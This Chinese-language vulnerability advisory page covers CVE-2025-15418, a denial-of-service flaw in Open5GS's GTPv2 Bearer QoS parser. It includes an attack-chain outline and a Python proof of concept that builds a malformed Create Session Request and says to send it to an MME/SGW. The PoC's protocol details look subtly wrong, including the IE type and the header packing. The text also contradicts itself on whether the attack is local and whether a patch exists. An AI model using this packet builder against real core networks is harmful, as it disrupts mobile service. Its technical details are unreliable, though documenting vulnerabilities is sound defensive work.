IPBUF安全漏洞报告
English
CVE-2025-15418 CVSS 3.3 低危

CVE-2025-15418 Open5GS Bearer QoS拒绝服务漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-15418
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GSGTPv2Bearer QoS本地攻击缓冲区处理4G/5G核心网

漏洞概述

CVE-2025-15418是Open5GS项目中存在的一个拒绝服务漏洞。该漏洞位于Open5GS的GTPv2协议栈实现中,具体影响lib/gtp/v2/types.c文件中的ogs_gtp2_parse_bearer_qos函数,该函数负责解析Bearer QoS信息元素(IE)。攻击者可以通过构造恶意的Bearer QoS信息元素,利用其中的长度字段处理逻辑缺陷,触发拒绝服务条件。由于该漏洞需要本地访问权限才能利用,因此主要威胁场景为具有本地访问权限的低权限攻击者。漏洞已在版本2.7.7中得到修复,建议受影响的用户尽快升级到最新版本以消除安全风险。

技术细节

该漏洞属于Bearer QoS IE Length Handler组件中的长度处理缺陷。在ogs_gtp2_parse_bearer_qos函数处理GTPv2消息中的Bearer QoS信息元素时,函数未能正确验证长度字段的有效性。当接收到包含畸形长度值的Bearer QoS IE时,可能导致内存访问越界或断言失败,进而引发进程崩溃。由于GTPv2协议是4G/5G核心网中S11/S10/S5/S8等接口使用的关键协议,因此任何处理GTPv2消息的Open5GS组件都可能受到影响。攻击者需要构造特定的GTPv2 Create Session Request、Modify Session Request或Bearer Resource Command消息,并在Bearer QoS IE中设置异常长度值即可触发漏洞。该漏洞的利用复杂度较低,但需要本地网络访问权限。

攻击链分析

STEP 1
步骤1
攻击者获得Open5GS服务器的本地访问权限
STEP 2
步骤2
攻击者构造包含畸形Bearer QoS IE的GTPv2消息
STEP 3
步骤3
通过ogs_gtp2_parse_bearer_qos函数处理恶意IE
STEP 4
步骤4
长度字段处理逻辑缺陷导致内存访问越界或断言失败
STEP 5
步骤5
Open5GS进程崩溃,触发拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15418 PoC - Open5GS Bearer QoS DoS This PoC demonstrates the malformed Bearer QoS IE that triggers the vulnerability. """ import struct def create_malformed_bearer_qos_ie(): """ Create a malformed GTPv2 Bearer QoS Information Element that triggers the vulnerability in ogs_gtp2_parse_bearer_qos """ # IE Type for Bearer QoS (0x57) ie_type = 0x57 # Malformed length - causes buffer overflow in length handler # Valid QoS values should be 1 byte each for QCI, PL, PCI, etc. malformed_length = 0xFFFF # Invalid length causing overflow # Create IE header ie_header = struct.pack('!BHH', ie_type, malformed_length, 0) # Malformed IE data that triggers the vulnerability ie_data = b'\x00' * malformed_length return ie_header + ie_data def create_gtpv2_create_session_request(): """ Build a GTPv2 Create Session Request with malformed Bearer QoS IE """ # GTPv2 header version = 2 teid_present = 1 message_type = 0x32 # Create Session Request header = struct.pack('!BBHI', (version << 5) | (teid_present << 3), 0xFF, # Spare message_type, 0x00000000 # TEID (0 for control plane) ) # Add sequence number, spare, and length placeholder header += struct.pack('!IBH', 0x000001, 0, 0) # Include malformed Bearer QoS IE bearer_qos_ie = create_malformed_bearer_qos_ie() return header + bearer_qos_ie if __name__ == "__main__": print("CVE-2025-15418 Open5GS Bearer QoS DoS PoC") print("=" * 50) print("Generating malformed GTPv2 packet...") packet = create_gtpv2_create_session_request() print(f"Packet length: {len(packet)} bytes") print(f"Packet hex: {packet.hex()}") print("\n[!] Send this packet to Open5GS MME/SGW to trigger DoS")

影响范围

Open5GS < 2.7.7

防御指南

临时缓解措施
在官方补丁发布前,建议限制对Open5GS服务的网络访问,仅允许受信任的网元设备进行连接。同时监控系统日志,关注与GTPv2消息解析相关的异常错误信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表